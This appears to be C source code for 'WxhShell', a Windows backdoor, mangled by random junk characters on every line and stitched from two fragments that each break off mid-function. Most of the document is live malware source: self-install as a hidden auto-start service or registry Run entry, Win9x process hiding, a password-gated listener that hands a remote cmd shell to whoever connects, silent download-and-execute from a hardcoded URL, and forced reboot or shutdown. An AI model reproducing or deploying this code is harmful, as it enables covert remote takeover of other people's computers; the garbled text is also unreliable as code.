    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cq!> B{  
    if(Boot(SHUTDOWN)) D #A9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T8RQM1D_s  
    else { 9^}GUJy?  
    closesocket(wsh); }SOj3.9{c  
    ExitThread(0); XCt}>/"s\h  
    } %b_zUFHPp  
    break; z24-h C  
    } LAvAjvRc  
  // 获取shell PSy=O\  
  case 's': { ;PbyR}s  
    CmdShell(wsh); \^YJs?  
    closesocket(wsh); fNlUc  
    ExitThread(0);  k/t4  
    break; ]V9\4#I4  
  } 8T2$0  
  // 退出 gmM79^CEF  
  case 'x': { +XIN-8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !G8SEWP  
    CloseIt(wsh); 0_j!t  
    break; `9F'mT#o/  
    } K1$Z=]a+  
  // 离开 \"uR&D  
  case 'q': { T0Gu(c`1d  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =izB :  
    closesocket(wsh); '8W }|aF  
    WSACleanup(); LS \4y&J40  
    exit(1); _ Fer-nQ2R  
    break; a u#IA  
        } M9iu#6P  
  } Ml)WY#7  
  } q_I''L  
"%sW/ph  
  // 提示信息 #q=?Zu^Da  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Siz5qQI4  
} Sx pl%  
  } ^h' wZ7-\  
+tOV+6Uz  
  return; a{{([uZ  
} }5% !: =  
0{jRXa-(  
// shell模块句柄 !e%#Zb MIo  
int CmdShell(SOCKET sock) kdv>QZ  
{ UyvFR@  
STARTUPINFO si; <7)@Jds\  
ZeroMemory(&si,sizeof(si)); /FQumqbnt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gsZCWT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2B*9]AHny  
PROCESS_INFORMATION ProcessInfo; J NsK   
char cmdline[]="cmd"; 8S)k]$wf%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [jY_e`S  
  return 0; x0 j$]$  
} g#H#i~E^  
K.1#cf ^'  
// 自身启动模式 Dn9Ta}miTO  
int StartFromService(void) T3Tk:r  
{ 0chBw~@*s  
typedef struct d*!,McBn  
{ `s.y!(`q  
  DWORD ExitStatus; O!;!amvz  
  DWORD PebBaseAddress; 44cyD _(  
  DWORD AffinityMask; Gm_Cq2PD(  
  DWORD BasePriority; 4s3n|6v  
  ULONG UniqueProcessId; VdYu| w ;v  
  ULONG InheritedFromUniqueProcessId; ?}O\'Fa8  
}   PROCESS_BASIC_INFORMATION; 7$/ O{GBJ  
k%.IIVRx  
PROCNTQSIP NtQueryInformationProcess; fRq2sK;+  
kELV]iWb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Wb^YqqE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p6>3 p  
qex.}[  
  HANDLE             hProcess; " Z#&A  
  PROCESS_BASIC_INFORMATION pbi; Vw+U?  
Dd :Qotu  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,%D \  
  if(NULL == hInst ) return 0; y%z$_V]  
_,~/KJp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z}kD:A)a  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ``0knr <  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (L q^C=  
# Z8<H  
  if (!NtQueryInformationProcess) return 0; 02bv0  
o-49o5:1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?7(`2=J  
  if(!hProcess) return 0; St'3e<  
|wWBV{^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `a  
zQ5'q  
  CloseHandle(hProcess); U Tw\_s  
~6E `6;`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #_|6yo}  
if(hProcess==NULL) return 0; bT0CQ_g21  
h_fA  
HMODULE hMod; c:4 i&|n  
char procName[255]; `WX @1]m  
unsigned long cbNeeded; TLw.rEN!;  
>f74]J=V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0oc5ahp  
yX<Sk q  
  CloseHandle(hProcess); p 0R)Yc+;  
S9U`-\L0  
if(strstr(procName,"services")) return 1; // 以服务启动 MejM(o_kk  
OZDnU6  
  return 0; // 注册表启动 e=Kf<ZQt  
} wwk=*X-8  
5Z1b9.;.,  
// 主模块 Y!"LrkC  
int StartWxhshell(LPSTR lpCmdLine) 0c /xE<h  
{ \"|E8A6/  
  SOCKET wsl; 6f{Kj)  
BOOL val=TRUE; ):kDWc  
  int port=0; o[&*vc)  
  struct sockaddr_in door; 4f'1g1@$  
'z>|N{-xG  
  if(wscfg.ws_autoins) Install(); FK{Vnj0  
R~PD[.\u  
port=atoi(lpCmdLine); yC(xi"!  
Y{6y.F*Q#  
if(port<=0) port=wscfg.ws_port; QS\H[?M$  
{OH "d  
  WSADATA data; SI^!e1@M[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l'y)L@|Qrh  
?45bvkCT  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    2tMe#V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0 z.oPV@  
  door.sin_family = AF_INET; 3E) X(WJY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); criOJ-  
  door.sin_port = htons(port); :bNqK0[rS  
$!H;,Jxv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .}=gr+<bf  
closesocket(wsl); s\@RJ[(<  
return 1; Mj2`p#5wKh  
} 6Q"fRXM   
>;:235'(M  
  if(listen(wsl,2) == INVALID_SOCKET) { 4l_!OUvt  
closesocket(wsl); )7f;FWI  
return 1; (_Ph{IN  
} !?#B*JGFS  
  Wxhshell(wsl); CD]"Q1 t}  
  WSACleanup(); U9[QdC  
Na=.LW-ma=  
return 0; vz[oy|{F  
14Y_ oH9  
} {(Jbgsxm  
#Ie/|  
// 以NT服务方式启动 aQzx^%B1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) KxhMPvN'  
{ +-"uJIwMD  
DWORD   status = 0; ;&RBg+Pr  
  DWORD   specificError = 0xfffffff; %{Ib  
"MM)AY*b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <A@}C+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e98f+,E/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |zd+ \o  
  serviceStatus.dwWin32ExitCode     = 0; AWo\u!j  
  serviceStatus.dwServiceSpecificExitCode = 0; UNY O P{  
  serviceStatus.dwCheckPoint       = 0; =#L\fe)q)  
  serviceStatus.dwWaitHint       = 0; v'=$K[_  
$S(<7[Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Tt5cqUQoY  
  if (hServiceStatusHandle==0) return; PuO5@SP~  
w5Lev}Rb  
status = GetLastError(); uW;[FTcqy$  
  if (status!=NO_ERROR) > oh7f|  
{ f"9aL= 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2PZ#w(An&  
    serviceStatus.dwCheckPoint       = 0; 'vCl@x$  
    serviceStatus.dwWaitHint       = 0; = j)5kY`  
    serviceStatus.dwWin32ExitCode     = status; [/E|n[Bx  
    serviceStatus.dwServiceSpecificExitCode = specificError; \D6 7J239E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l5P!9P  
    return; <UsFBF  
  } &l M=>?  
U</Vcz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; `-Y8T\  
  serviceStatus.dwCheckPoint       = 0; \*yH33B9  
  serviceStatus.dwWaitHint       = 0; HD%n'@E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U-+o6XX  
} yrvV<}  
aoqG*qh}b  
// 处理NT服务事件,比如:启动、停止 ~  p~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6K Cv  
{ z\7-v<ZS  
switch(fdwControl) D*0[7:NSO  
{ TF_wT28AU2  
case SERVICE_CONTROL_STOP: "zE>+zRl  
  serviceStatus.dwWin32ExitCode = 0; xB :]{9r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pf% yEz  
  serviceStatus.dwCheckPoint   = 0; /qaWUUf  
  serviceStatus.dwWaitHint     = 0; /M2U7^9``"  
  { 3R>"X c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /0m0""  
  } aoUz_7  
  return; 3kz O VZ  
case SERVICE_CONTROL_PAUSE: .RW&=1D6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z"%{SI^  
  break; zu_bno!  
case SERVICE_CONTROL_CONTINUE: _9f7@@b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yOTC>?p%  
  break; D/)E[Fv+  
case SERVICE_CONTROL_INTERROGATE: E[NszM[P  
  break; *q-VY[2  
}; (l+0*o,(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dD351!-  
} 0<FT=tKm  
EQ [K  
// 标准应用程序主函数 L/ g8@G ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zFi)R }Ot  
{ W\EvMV"  
4|/}~9/  
// 获取操作系统版本 8hV>Q  
OsIsNt=GetOsVer(); xp*Wf#BF  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A1Es>NK[qW  
XOL_vS24  
  // 从命令行安装 Suo%uD  
  if(strpbrk(lpCmdLine,"iI")) Install(); PiIP%$72O  
`T,^os#6  
  // 下载执行文件 7I/a  
if(wscfg.ws_downexe) { )">uI\bi  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) oM^VtH=>  
  WinExec(wscfg.ws_filenam,SW_HIDE); >PYc57S1c  
} }D]y -BbA.  
* ,L e--t  
if(!OsIsNt) { PR3i}y>  
// 如果时win9x,隐藏进程并且设置为注册表启动 6o.Dgt/f  
HideProc(); ntxaFVD  
StartWxhshell(lpCmdLine); X=@bzL;eq  
} NOSL b];  
else Hb3..o:  
  if(StartFromService()) ku)/ 8Z`$  
  // 以服务方式启动 kO/YO)g  
  StartServiceCtrlDispatcher(DispatchTable); &q>C  
else Q_6v3no1  
  // 普通方式启动 BU<Qp$ &  
  StartWxhshell(lpCmdLine); $9@3dM*E?Z  
PDpuHHB  
return 0; GYrUB59  
} ly`\TnC  
R$x(3eyx  
(c S'Nm5  
p`Ok(C_  
=========================================== r ?<?0j  
2WS Wfh  
yu}T><Wst  
w~~[0e+E  
q*<FfO=eQ  
T"DG$R,Aj  
" $\#wsI(  
=5O&4G`}  
#include <stdio.h> :z`L)  
#include <string.h> W0S\g#  
#include <windows.h> XnKf<|j6k  
#include <winsock2.h> [:/mjO K  
#include <winsvc.h> ky{@*fg.  
#include <urlmon.h> =d$m@rc0r  
iU|X/>k?  
#pragma comment (lib, "Ws2_32.lib") x<5;#  
#pragma comment (lib, "urlmon.lib") 4D[(X=FSU  
!jR 1!i   
#define MAX_USER   100 // 最大客户端连接数 p'kB1)~|  
#define BUF_SOCK   200 // sock buffer Jq:Wt+a  
#define KEY_BUFF   255 // 输入 buffer qFp]jbU  
 GPrq(  
#define REBOOT     0   // 重启 a+B3`6  
#define SHUTDOWN   1   // 关机 xB_7 8X1  
S]ed96V v  
#define DEF_PORT   5000 // 监听端口 )0\D1IFJ  
"td ,YVK  
#define REG_LEN     16   // 注册表键长度 ] u\-_PP  
#define SVC_LEN     80   // NT服务名长度 K_Kz8qV.?  
^YB3$:@$U  
// 从dll定义API )&[ol9+\  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); r.' cjUs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o,qUf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); K8uqLSP '  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6RfS_  
MFz6y":~  
// wxhshell配置信息  Cy5M0{  
struct WSCFG { b2^O$ l  
  int ws_port;         // 监听端口 c3)6{  
  char ws_passstr[REG_LEN]; // 口令 }-@h H(  
  int ws_autoins;       // 安装标记, 1=yes 0=no fM3ZoH/  
  char ws_regname[REG_LEN]; // 注册表键名 w x,gth*p  
  char ws_svcname[REG_LEN]; // 服务名 h$d`Jmaq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i'`>YX  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r@CbhD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qhmA)AWG>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ${tBu#$-d  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'DUY f5nF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +hIMfhF  
hdpA& OteR  
}; \/!jGy*  
_o-01gu.  
// default Wxhshell configuration D.YT u$T  
struct WSCFG wscfg={DEF_PORT, -yMD9b  
    "xuhuanlingzhe", ?^U1~5ff)  
    1, &g!yRvM!;Q  
    "Wxhshell", p@3 <{kLm  
    "Wxhshell", iwfH~  
            "WxhShell Service", ={I(i6  
    "Wrsky Windows CmdShell Service", [ z{ }?  
    "Please Input Your Password: ", 8p]Krs:  
  1, )5x,-m@  
  "http://www.wrsky.com/wxhshell.exe", |iVw7M:  
  "Wxhshell.exe" +L pMNnl6  
    }; Qv@)WJ="-0  
i+|/V&#3[  
// 消息定义模块 H6Kt^s<6xu  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; nC\LDeKc  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N#^o,/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1ifPc5j}  
char *msg_ws_ext="\n\rExit."; ?dvcmXR  
char *msg_ws_end="\n\rQuit."; S^)xioKsJ  
char *msg_ws_boot="\n\rReboot..."; \; zix(N[5  
char *msg_ws_poff="\n\rShutdown..."; `llSHsIkXb  
char *msg_ws_down="\n\rSave to "; !I Byv%m&\  
cK t8e^P  
char *msg_ws_err="\n\rErr!"; b(_PV#@$  
char *msg_ws_ok="\n\rOK!"; 5xc-MkIRL  
`IK3e9QpcA  
char ExeFile[MAX_PATH]; R-5e9vyS  
int nUser = 0; b$}@0  
HANDLE handles[MAX_USER]; 6S?*z `v  
int OsIsNt; (oB9$Zz!t  
$B@K  
SERVICE_STATUS       serviceStatus; A w)P%r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "0{t~?ol  
T0BM:ofx  
// 函数声明 W4=<hB  
int Install(void); 7;NvR4P%  
int Uninstall(void); (L"G,l  
int DownloadFile(char *sURL, SOCKET wsh); k5)e7Lb(  
int Boot(int flag); tSq`_[@  
void HideProc(void); I< Rai"  
int GetOsVer(void); bdr !|WZ  
int Wxhshell(SOCKET wsl); rY(^6[!  
void TalkWithClient(void *cs); -;U3$[T,J7  
int CmdShell(SOCKET sock); XD|vB+j\O  
int StartFromService(void); 6E.64+PJw  
int StartWxhshell(LPSTR lpCmdLine); ipJnNy;  
Z"a]AsG/Q#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vLh,dzuo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 67dp)X  
!\_li+  
// 数据结构和表定义 1 =9 Kwd  
SERVICE_TABLE_ENTRY DispatchTable[] = d=:&tOCg2  
{ 0& ?/TSC  
{wscfg.ws_svcname, NTServiceMain}, N,u~ZEI  
{NULL, NULL} f"A?\w @  
}; J/^|Y6  
b{lkl?@a  
// 自我安装 /yL:_6c-  
int Install(void) -W XZOdUjs  
{ SK {ALe  
  char svExeFile[MAX_PATH]; R6 dD17  
  HKEY key; hG.~[#[&6  
  strcpy(svExeFile,ExeFile); _z \PVTT  
qU:Mvb^5&  
// 如果是win9x系统,修改注册表设为自启动 2~SjRIpUw  
if(!OsIsNt) { j!QP>AM|`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vq*)2.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }_o!f V  
  RegCloseKey(key); `K \(I#z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,a?$F1Z-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "e~"-B7(\Y  
  RegCloseKey(key); ZYD3[" ~x  
  return 0; Y7 `i~K;  
    } 9oJ=:E~CP  
  } [)83X\CO  
} e025m}%SU  
else { Gv zw=~8  
I4^}C;p0?  
// 如果是NT以上系统,安装为系统服务 $NhKqA`0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;&G8e* bM2  
if (schSCManager!=0) +BE_K_56  
{ &d^u$Y5  
  SC_HANDLE schService = CreateService \i$WXW]|  
  ( W]DZ'  
  schSCManager, IMay`us]:8  
  wscfg.ws_svcname, '74-rL:i  
  wscfg.ws_svcdisp, 8k`rj;  
  SERVICE_ALL_ACCESS, ok7yFm1\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @}@J$ g  
  SERVICE_AUTO_START, I!sB$=n  
  SERVICE_ERROR_NORMAL, -g]g  
  svExeFile, &GH ,is  
  NULL, R2$;f?;:  
  NULL, f6Io|CZWJ  
  NULL, B?)=d,E  
  NULL, FGG 7;0(  
  NULL ');QmN%J  
  ); |,Xrt8O/[  
  if (schService!=0) _o-D},f*e  
  { _oJq32  
  CloseServiceHandle(schService); C) "|sG  
  CloseServiceHandle(schSCManager); *R^ulp[W  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h_Cac@F0  
  strcat(svExeFile,wscfg.ws_svcname); G(XI TL u*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { '@<aS?@!t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pu +"bq  
  RegCloseKey(key); aPMqJ#fIr  
  return 0; aD:vNX  
    } |4s`;4c&  
  } +]%d'h  
  CloseServiceHandle(schSCManager); 30v 3C7o=  
} uZ(j"y  
} |_J[n !~f7  
idr,s\$>  
return 1; `Vqp o/  
} Q}MS $[y  
4(f4 4' ^  
// 自我卸载 ~rX2oLw{&  
int Uninstall(void) -S"$S16D  
{ N{<=s]I%x  
  HKEY key; s]=s|  
1&@s2ee4   
if(!OsIsNt) { 6KD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `2@t) :  
  RegDeleteValue(key,wscfg.ws_regname); o(I[_oUy\  
  RegCloseKey(key); 007SA6xq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [fU2$(mT+  
  RegDeleteValue(key,wscfg.ws_regname); )MKzAAt~  
  RegCloseKey(key); ;hOrLy&O  
  return 0; \=yx~c_$L  
  } \HB4ikl  
} ;O2r+n  
} /M-%]sayj  
else { Q-!a;/  
/ ` 7p'i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;@@1$mzK  
if (schSCManager!=0) IZ;%lV7t  
{ rI5)w_E?  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +Zx+DW cq  
  if (schService!=0) O&!tW^ih  
  { U. 1Vpfy  
  if(DeleteService(schService)!=0) { ':fq  
  CloseServiceHandle(schService); &Oq& ikw  
  CloseServiceHandle(schSCManager); MT,LO<.  
  return 0;  U'nz3  
  } KbY5 qou  
  CloseServiceHandle(schService); K>TdN+Z}=  
  } UpgY}pf}  
  CloseServiceHandle(schSCManager); #qk A*WP  
} #`C ;@#xr  
}  @t  
PEPBnBA&1  
return 1; mlR*S<Z  
} !TRJsL8  
tVZj tGz=  
// 从指定url下载文件 xFpMn}CD  
int DownloadFile(char *sURL, SOCKET wsh) $e;_N4d^  
{ `um#}ify#  
  HRESULT hr; LX e{  
char seps[]= "/"; @' DfNka  
char *token; 38dXfl  
char *file; fmvX;0O  
char myURL[MAX_PATH];  ? {Lp  
char myFILE[MAX_PATH]; bGvALz'  
V@Z8t8  
strcpy(myURL,sURL); +'H_sMmi{  
  token=strtok(myURL,seps); qJj;3{X2  
  while(token!=NULL) [e )j,Q1  
  { 1.0S>+^JE  
    file=token; Z,Z34:-  
  token=strtok(NULL,seps); DYU+?[J  
  } j5ZeYcQ-  
t)LD-%F  
GetCurrentDirectory(MAX_PATH,myFILE);  b]s*z<|%  
strcat(myFILE, "\\"); Memz>uux  
strcat(myFILE, file); H'E >QT  
  send(wsh,myFILE,strlen(myFILE),0); AlNiqnZ  
send(wsh,"...",3,0); 1pC!F ;9Oo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FrO)3 1z  
  if(hr==S_OK) Vt:]D?\3  
return 0; }"<|.[V)  
else tt`j!!  
return 1; _-%A_5lCRE  
A e&t#,)  
} [0D( PV(n  
pq6}q($Rk  
// 系统电源模块 [Z484dS`_  
int Boot(int flag) s#ijpc>h  
{ Z;bzp3v  
  HANDLE hToken; =N`"%T@=  
  TOKEN_PRIVILEGES tkp; c~(+#a  
N %-Cp)  
  if(OsIsNt) { \iAkF`OC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); rLNo7i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g*b`V{/Vw  
    tkp.PrivilegeCount = 1; ?yF)tF+<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; wAxXK94#3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); mvI[=e*  
if(flag==REBOOT) { &AmTXW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) "w0>  
  return 0; }\`MXh's  
} RF 4u\ \  
else { (bi}?V*  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S*6P=O*  
  return 0; 1Tf"<D p  
} pGz-5afL  
  } ja}_u}:  
  else { <8p53*a  
if(flag==REBOOT) { 'D8WNZ8Q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QF(.fq8, U  
  return 0; |k:MXI  
} gk\IivPb  
else { 3hr&p{/  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {%xwoMVc+  
  return 0; ]S4kWq{Y  
} a|`Pg1j#  
} KFdTw{GlJ7  
^!-*xH.dK  
return 1; .oYUA}  
} rIg1]q  
rG1l:Z)  
// win9x进程隐藏模块 F0%FX`b{{  
void HideProc(void) 1`N q K  
{ }3F8[Td.~N  
(,`ypD+3q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4mJ4)  
  if ( hKernel != NULL ) ~`c?&YixU  
  { +~\1Zgw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <<gk< _7`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y~vI@$<~(  
    FreeLibrary(hKernel); ;1&%Wj"d  
  } yazC2Enes8  
wQ qI@  
return; cj@Ygc)n  
} n5A0E2!  
0'`>20Y  
// 获取操作系统版本 ) f9f_^;  
int GetOsVer(void) X>j% y7v  
{ Oemi}  
  OSVERSIONINFO winfo; `:!mPNW#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ulV)X/]1  
  GetVersionEx(&winfo); xz5Jli  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jXkz,]Iy  
  return 1; 9l9 nT  
  else uPc}a3'?  
  return 0; zE5%l`@|o  
} 9(DS"fgC  
$-m@cObw!.  
// 客户端句柄模块 C Fq3  
int Wxhshell(SOCKET wsl) N"/jn_>+j  
{ $Zp\^cIE+  
  SOCKET wsh; bsy\L|wd  
  struct sockaddr_in client; Lt0JUUa0  
  DWORD myID; u HqPb8  
TaeN?jc5  
  while(nUser<MAX_USER) "Q6oPDX(  
{ MZ o\1tU-i  
  int nSize=sizeof(client); z=B*s!G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Mfe/(tlI  
  if(wsh==INVALID_SOCKET) return 1; Ehu^_HZ  
nIJ2*QJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m8;; O  
if(handles[nUser]==0) 6lOT5C eJ"  
  closesocket(wsh); `P<}MeJ\l  
else sL|*0,#K  
  nUser++; 0Lmq?D  
  } .)o<'u@Ri  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T;qP"KWZ  
/) Bk r/  
  return 0; ?47q0C  
} S/ )P&V%  
|oPCmsO3R{  
// 关闭 socket P:vAU8d>  
void CloseIt(SOCKET wsh) {/G~HoY1i  
{ )WavG1  
closesocket(wsh); 4;'o`K~*  
nUser--; Aq%TZ_m  
ExitThread(0); __M(dN(^  
} }.ZX.qYX  
%!I7tR#;  
// 客户端请求句柄 }#5V t  
void TalkWithClient(void *cs) .dX ^3  
{ hAtf)  
nI.K|hU:P  
  SOCKET wsh=(SOCKET)cs; ;QkUW<(  
  char pwd[SVC_LEN]; "n3r,  
  char cmd[KEY_BUFF]; =B@+[b0Z  
char chr[1]; 3:Q5dr+1_  
int i,j; :["iBrFp  
OjTb2[Q  
  while (nUser < MAX_USER) { |l)SX\Qf`@  
_SdO}AiG  
if(wscfg.ws_passstr) { HZC^Q7]hy  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~``oKiPg@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +U{8Mj  
  //ZeroMemory(pwd,KEY_BUFF); ;"46H'>!  
      i=0; RhR{EO  
  while(i<SVC_LEN) {  PNY"Lqj  
t=o2:p6&  
  // 设置超时 QG {KEj2V  
  fd_set FdRead; \Fg%V>  
  struct timeval TimeOut; q ww*  
  FD_ZERO(&FdRead); ,Z*&QR  
  FD_SET(wsh,&FdRead); UngDXD )  
  TimeOut.tv_sec=8; a)w *  
  TimeOut.tv_usec=0;  @v &hr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )(yD"]co  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ci*rem  
;:2]++G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F!.Z@y P  
  pwd=chr[0]; Qc1NLU9:  
  if(chr[0]==0xd || chr[0]==0xa) { KSkT6_<  
  pwd=0; +*&bgGhT  
  break; pFb }5Q  
  } j<|I@0  
  i++; -P#PyZEH&I  
    } *YH5kX  
"IQ' (^-P  
  // 如果是非法用户,关闭 socket >dO1)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |j:"n3~6  
} }2c)UQD8  
WjLy7&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $Y'}wB{pc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); F6XrJ?JM  
7[=*#7}.  
while(1) { e$kBpG"D  
W;%$7&+0  
  ZeroMemory(cmd,KEY_BUFF); `o|Y5wQ@  
<% #Dwo}  
      // 自动支持客户端 telnet标准   xVYy`_|  
  j=0; fNR2(8;}  
  while(j<KEY_BUFF) { q,S[[{("  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -;]m4R)z  
  cmd[j]=chr[0]; G*;?&;*  
  if(chr[0]==0xa || chr[0]==0xd) { wJc~AP)I%z  
  cmd[j]=0; [0vgA#6I  
  break; *Rm"3S  
  } 8i$quHd&x  
  j++; xAJ N(8?  
    } 9~3;upWu!  
v *'anw&Z  
  // 下载文件 4-j3&(  
  if(strstr(cmd,"http://")) { 24{Tl q3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -DAkVFsN  
  if(DownloadFile(cmd,wsh)) uBpnfIe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ ;T|`Y=7  
  else b0X<)1O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 PdeK'7  
  } ]k+XL*]'A  
  else { YA+jLy6ZL  
YkWv*l  
